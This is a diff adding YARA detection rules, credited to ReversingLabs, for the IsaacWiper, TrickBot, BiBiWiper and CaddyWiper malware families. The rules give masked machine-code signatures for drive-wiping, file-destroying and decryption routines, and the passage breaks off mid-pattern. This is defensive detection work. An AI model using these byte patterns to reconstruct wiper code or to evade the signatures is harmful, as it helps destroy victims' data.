+            83 FB ?? 75 ?? C6 46 ?? ?? 33 DB 46 3B F8 73 ?? 8B 54 24 ?? E9 ?? ?? ?? ?? 8A 07 43
+            88 06 46 47 83 FB ?? 75 ?? C6 46 ?? ?? 33 DB 46 3B FD 72 ?? 8B CE 8D 53 ?? 2B CB 88
+            51 ?? 33 C9 85 DB 0F 94 C1 2B F1 2B 74 24 ?? 8B C6 5F 5E 5D 5B 83 C4 ?? C3
+        }
+		$decrypt_resource_snippet_v7 = {
+            C1 EE ?? 3B F9 0F 47 F0 85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 0F B6 C1 66 89
+            02 8B C1 C1 E8 ?? 8D 52 ?? 0F B6 C0 66 89 42 ?? C1 E9 ?? 0F B6 C1 C1 E9 ?? 45 66 89
+            42 ?? 0F B6 C1 66 89 42 ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 33 C9 5D 66 89 0C 43
+            5F 5E 8B C3 5B 83 C4 ?? C3
+        }
+		$state_machine_snippet_v7 = {
+            8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B
+            94 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8D 84 24
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B 54 24 ??
+            8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 94
+            24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 74 24
+            ?? 8B F0 FF B4 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? F7 DE 8B 94 24 ?? ?? ?? ?? 1B F6
+            81 E6 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ??
+            ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($decrypt_resource_v1 and $generate_filename_v1) or ($decrypt_resource_v2 and $generate_filename_v2) or ($decrypt_resource_v3 and $generate_filename_v3) or ($decrypt_resource_v4 and $generate_filename_snippet_v4) or ($decrypt_resource_snippet_v5 and all of ($liblzf_decompression_*)) or ($decrypt_resource_snippet_v6 and all of ($liblzf_decompression_*)) or ($decrypt_resource_snippet_v7 and $state_machine_snippet_v7)
+}
+rule REVERSINGLABS_Win32_Trojan_Isaacwiper : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects IsaacWiper trojan."
+		author = "ReversingLabs"
+		id = "c0924e5e-a942-57a3-a9f9-e6be6efa4c73"
+		date = "2022-03-02"
+		modified = "2022-03-02"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Win32.Trojan.IsaacWiper.yara#L1-L76"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "c9fa43f44c33816a66f61255d101294da63df1afc5a27ed5817072040cd1eec5"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "IsaacWiper"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$enumerate_physical_drives = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 33 F6 89 55 ?? 57 89 4D ?? B3 ?? C7 45 ?? ?? ?? ??
+            ?? 89 75 ?? 84 DB 0F 84 ?? ?? ?? ?? 8B D6 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ??
+            ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? D1 E8 8D
+            8D ?? ?? ?? ?? BF ?? ?? ?? ?? 89 45 ?? 2B F8 83 C4 ?? 66 83 7D ?? ?? 8D 0C 41 8D 45
+            ?? 74 ?? 83 C0 ?? 66 83 38 ?? 75 ?? 8D 55 ?? 2B C2 D1 F8 8D 04 45 ?? ?? ?? ?? 50 8B
+            C2 8D 14 3F 50 E8 ?? ?? ?? ?? D1 E8 83 C4 ?? 3B C7 8D 48 ?? 0F 46 C1 8B 4D ?? 03 C8
+            89 4D ?? 83 F9 ?? 73 ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
+            6A ?? 68 ?? ?? ?? ?? 50 B3 ?? FF D7 83 F8 ?? 74 ?? 46 50 89 75 ?? FF 15 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 32 DB E9 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83
+            ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 85 C0 0F 95 C1 66 85 C0 0F 84 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? BA ?? ?? ?? ?? 66 89 45 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? D1 E8 8D 4D ?? BE ?? ?? ?? ?? 89 45 ?? 2B F0 83 C4 ?? 66 83
+            7D ?? ?? 8D 0C 41 8D 45 ?? 74 ?? 83 C0 ?? 66 83 38 ?? 75 ?? 8D 55 ?? 2B C2 D1 F8 8D
+            04 45 ?? ?? ?? ?? 50 8B C2 8D 14 36 50 E8 ?? ?? ?? ?? D1 E8 83 C4 ?? 3B C6 8D 48 ??
+            0F 46 C1 8B 4D ?? 03 C8 89 4D ?? 83 F9 ?? 0F 83 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
+            6A ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 FF D7 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 45
+            ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ??
+            ?? ?? ?? 83 F8 ?? 0F 94 C3 75 ?? 33 C0 83 7D ?? ?? 0F 44 45 ?? 89 45 ?? 56 FF 15 ??
+            ?? ?? ?? 84 DB EB ?? 84 C9 0F 84 ?? ?? ?? ?? 8B 5D ?? 8B D3 8B 4D ?? 6A ?? E8 ?? ??
+            ?? ?? 8B 7D ?? 8A C8 83 C4 ?? 33 F6 84 C9 74 ?? 3B F3 74 ?? 6A ?? 8B D6 8B CF E8 ??
+            ?? ?? ?? 8A C8 83 C4 ?? 46 83 C7 ?? 84 C9 75 ?? 46 84 C9 74 ?? 8B 5D ?? 3B F3 73 ??
+            6A ?? 8B D6 8B CF E8 ?? ?? ?? ?? 8A C8 83 C4 ?? 46 83 C7 ?? 84 C9 75 ?? 8A C1 5F 5E
+            5B 8B E5 5D C3
+        }
+		$corrupt_drive_thread = {
+            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8B 5D ?? 56 57 85 DB 0F 84 ?? ??
+            ?? ?? 83 7B ?? ?? 0F 85 ?? ?? ?? ?? 8B 43 ?? 8D 4C 24 ?? 03 C0 BA ?? ?? ?? ?? 50 53
+            E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? D1 E8 33 C9 66 89 4C 44 ?? 8D 44 24 ?? 50
+            FF D7 8B 35 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 6A ?? 8D 44 24 ?? 50
+            FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 8D 44 24
+            ?? 74 ?? 90 83 C0 ?? 66 83 38 ?? 75 ?? 8D 4C 24 ?? BA ?? ?? ?? ?? 2B C1 D1 F8 8D 04
+            45 ?? ?? ?? ?? 50 8B C1 8D 8C 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ??
+            ?? ?? ?? 50 FF D7 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 6A ??
+            6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 74 24
+            ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 7B ?? 8B 5B ?? C7 44 24 ?? ?? ?? ?? ?? 85 DB 75 ??
+            81 FF ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 89 84 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 8C 84 ?? ?? ?? ?? 8B D1 C1 EA ?? 33 D1 69
+            CA ?? ?? ?? ?? 03 C8 89 8C 84 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? BA ?? ?? ?? ?? 8D
+            B4 24 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 75 ??
+            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 8C 94 ?? ?? ?? ?? 8B C1
+            C1 E8 ?? 42 33 C8 89 94 24 ?? ?? ?? ?? 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 25
+            ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 89 06 83 C6 ?? 8D 84 24 ?? ?? ?? ??
+            3B F0 72 ?? 8B 74 24 ?? 8D 44 24 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50
+            56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? 3D ?? ?? ?? ?? 75 ?? 2B F8 83 DB ?? E9
+            ?? ?? ?? ?? 8B C7 0B C3 74 ?? 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44
+            24 ?? 6A ?? 50 57 8D 84 24 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
+            5F 5E 33 C0 5B 8B E5 5D C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($enumerate_physical_drives and $corrupt_drive_thread)
+}
+rule REVERSINGLABS_Win32_Trojan_Trickbot : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects TrickBot trojan."
+		author = "ReversingLabs"
+		id = "4ed253cc-0398-542b-a2b7-c42a0b9431fb"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Win32.Trojan.TrickBot.yara#L1-L46"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "e10f16c70f1ff7cf11d3e25f06e4c5d9e20c51688582d2b51322f768a8e06d7e"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "TrickBot"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$entry_setup = {
+            58 (68 | 8B) [6-8] 59 [1-3] E2 ?? 57 8B (C7 | EC) 8B (C7 | EC) 05 ?? ?? ?? ?? 68 [4-5]
+            89 45 [1-2] 8B D7 [3-4] 8B C1 66 AD 85 C0 74 ?? 3B (C1 | C8) (72 | 77) ?? 2B C1 (C1 | D1)
+            [2-4] 8B CF 03 C8 81 C1 ?? ?? ?? ?? 8B 01 59 03 D0 52 EB ?? 89 45 ?? 8B C5 B9 ?? ??
+            ?? ?? C1 E1 ?? 2B C1 8B 00 89 45 ?? 6A ?? 8B D0 59 FF D2 89 68 ?? 6A ?? 8B D0 FF D2
+        }
+		$decrypt_function_snippet = {
+            58 8B C8 75 ?? 58 2B F0 50 8B D8 49 75 ?? 59 58 59 5E 5F 5B C3
+        }
+		$decrypt_function_snippet_wrapper = {
+            55 BD ?? ?? ?? ?? 50 51 52 6A ?? FF 45 ?? 8B 45 ?? 59 F7 E1 8D 8D ?? ?? ?? ?? 03 C8
+            89 4D ?? 8F 41 ?? 8F 41 ?? 8F 41 ?? 8F 41 ?? 8F 01 89 79 ?? 89 71 ?? 8B D1 59 89 4A
+            ?? 55 2B C0 8B C8 8B 02 8B F8 58 41 41 41 41 50 2B C1 8B 00 3B C7 72 ?? 58 C1 E9 ??
+            49 89 4A ?? E3 ?? FF 55 ?? 8B 55 ?? 8B 4A ?? FF 55 ?? 50 51 50 6A ?? 59 FF 55 ?? FF
+            D0
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $entry_setup and ($decrypt_function_snippet or $decrypt_function_snippet_wrapper)
+}
+rule REVERSINGLABS_Linux_Trojan_Bibiwiper : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects BiBiWiper trojan."
+		author = "ReversingLabs"
+		id = "c370dde0-71ff-5832-b131-6d61beb02b9b"
+		date = "2023-11-28"
+		modified = "2023-11-28"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Linux.Trojan.BiBiWiper.yara#L1-L76"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8f290141d5da660463dede6df571d774448e136e2993a0a4c706245464e1239e"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "BiBiWiper"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$destroy_files_p1 = {
+            55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 48 89
+            95 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 44 89 8D ?? ?? ?? ?? 48 8B
+            05 ?? ?? ?? ?? 48 83 C0 ?? 48 89 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 BA ?? ?? ??
+            ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 89 D0 48 C1 F8 ?? 48 89 CA 48 C1 FA ?? 48 29 D0
+            48 69 D0 ?? ?? ?? ?? 48 89 C8 48 29 D0 48 85 C0 0F 94 C0 84 C0 74 ?? E8 ?? ?? ?? ??
+            48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89
+            D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ??
+            ?? 48 8D 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 CE 48 89 C7
+            E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89
+            CE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ??
+            ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D
+            8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ??
+            48 8D 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ??
+            ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48
+            89 C3 48 8D 8D ?? ?? ?? ?? 48 8D 45 ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ??
+            ?? 48 8D 45 ?? 48 89 DE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8
+        }
+		$destroy_files_p2 = {
+            48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ??
+            ?? ?? 48 8B 85 ?? ?? ?? ?? 48 C1 E0 ?? 48 89 45 ?? 48 8B B5 ?? ?? ?? ?? 48 8B 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 48 F7 F6 48 8B 55 ?? 48 29 D0 48 89 45 ?? 83 BD ?? ?? ?? ??
+            ?? 7E ?? 8B 85 ?? ?? ?? ?? 83 E8 ?? 48 98 48 0F AF 45 ?? BA ?? ?? ?? ?? 48 F7 B5 ??
+            ?? ?? ?? 48 89 D0 48 89 C1 48 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8
+            ?? ?? ?? ?? EB ?? 48 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ??
+            ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 39
+            85 ?? ?? ?? ?? 73 ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 85 ?? ?? ?? ??
+            48 29 D0 48 89 45 ?? 48 8B 45 ?? 48 89 45 ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 D6 48 89
+            C7 E8 ?? ?? ?? ?? 48 8B 00 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45
+            ?? 48 8B 45 ?? 89 C2 48 8D 85 ?? ?? ?? ?? 89 D6 48 89 C7 E8 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 5D ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48
+        }
+		$destroy_files_p3 = {
+            89 C7 48 8B 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 8B 85
+            ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 55 ?? 48 8B 45 ?? 48 01 C2 48
+            8B 45 ?? 48 01 D0 48 39 85 ?? ?? ?? ?? 73 ?? 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 29
+            D0 48 8B 55 ?? 48 29 D0 48 89 45 ?? 48 83 7D ?? ?? 7E ?? 48 8B 4D ?? 48 8B 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 8B 45 ?? 48 98 48
+            39 85 ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? EB ?? 90 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48
+            8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89
+            C7 E8 ?? ?? ?? ?? 83 FB ?? E9 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8
+            ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89
+            C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? 48
+            89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89
+            C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ??
+            48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ??
+            ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? 48 8B 5D ?? C9 C3
+        }
+
+	condition:
+		uint32(0)==0x464C457F and ( all of ($destroy_files_p*))
+}
+rule REVERSINGLABS_Win32_Trojan_Caddywiper : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects CaddyWiper trojan."
+		author = "ReversingLabs"
+		id = "ad437f29-4ad8-5a88-a0b6-03de55e7375f"
+		date = "2022-03-15"
+		modified = "2022-03-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Win32.Trojan.CaddyWiper.yara#L1-L95"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "178ff4171c09866f6b303bdff234beff1116d268995ee4dc236332e472d645b1"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "CaddyWiper"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$destroy_if_not_controller = {
+            50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 39 ?? 75 ?? EB ?? 8D 55 ?? 52 FF 55 ??
+            C6 45 ?? 43 C6 45 ?? 3A C6 45 ?? 5C C6 45 ?? 55 C6 45 ?? 73 C6 45 ?? 65 C6 45 ?? 72
+            C6 45 ?? 73 C6 45 ?? 00 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ??
+            C6 45 ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 83 7D
+            ?? ?? 73 ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8A 45 ?? 04 ?? 88 45 ?? EB ?? E8 ??
+            ?? ?? ?? 8B E5 5D C3
+        }
+		$erase_drive_data = {
+            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 4D ?? 89 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 89 45 ?? 83
+            7D ?? ?? 74 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? 51 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 55 ?? 8B 45 ?? 50 FF 55 ?? 8A 4D ?? 88 4D ?? 8A
+            55 ?? 80 EA ?? 88 55 ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 E9 ?? 89 8D ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$erase_drives_recursively_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF C6 85 ?? ?? ?? ?? 2A C6 85
+            ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 5C C6 85 ?? ?? ?? ?? 00 8D 85 ?? ?? ?? ?? 50 8B 4D
+            ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ??
+            ?? ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? 00 00 00 00
+            C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 6E C6 85 ?? ?? ?? ?? 64
+            C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 72 C6 85 ?? ?? ?? ?? 73
+            C6 85 ?? ?? ?? ?? 74 C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 6C
+            C6 85 ?? ?? ?? ?? 65 C6 85 ?? ?? ?? ?? 41 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6B
+            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 65 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 72
+            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6E C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 65
+            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 33
+            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 32 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 2E
+            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C
+            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 00
+            C6 85 ?? ?? ?? ?? 00 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8
+        }
+		$erase_drives_recursively_2_p1 = {
+            8D 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8D 95 ??
+            ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ??
+            ?? ?? 75 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 E1 ?? 0F 84 ?? ?? ?? ?? 0F BE 95 ??
+            ?? ?? ?? 83 FA ?? 75 ?? 0F BE 85 ?? ?? ?? ?? 85 C0 74 ?? 0F BE 8D ?? ?? ?? ?? 83 F9
+            ?? 75 ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 75 ?? 8B 85 ?? ?? ?? ?? 83 E0 ??
+            74 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52
+            E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 8D 95 ?? ??
+            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ??
+            ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85
+        }
+		$erase_drives_recursively_2_p2 = {
+            C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? 51 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? E9 ??
+            ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ??
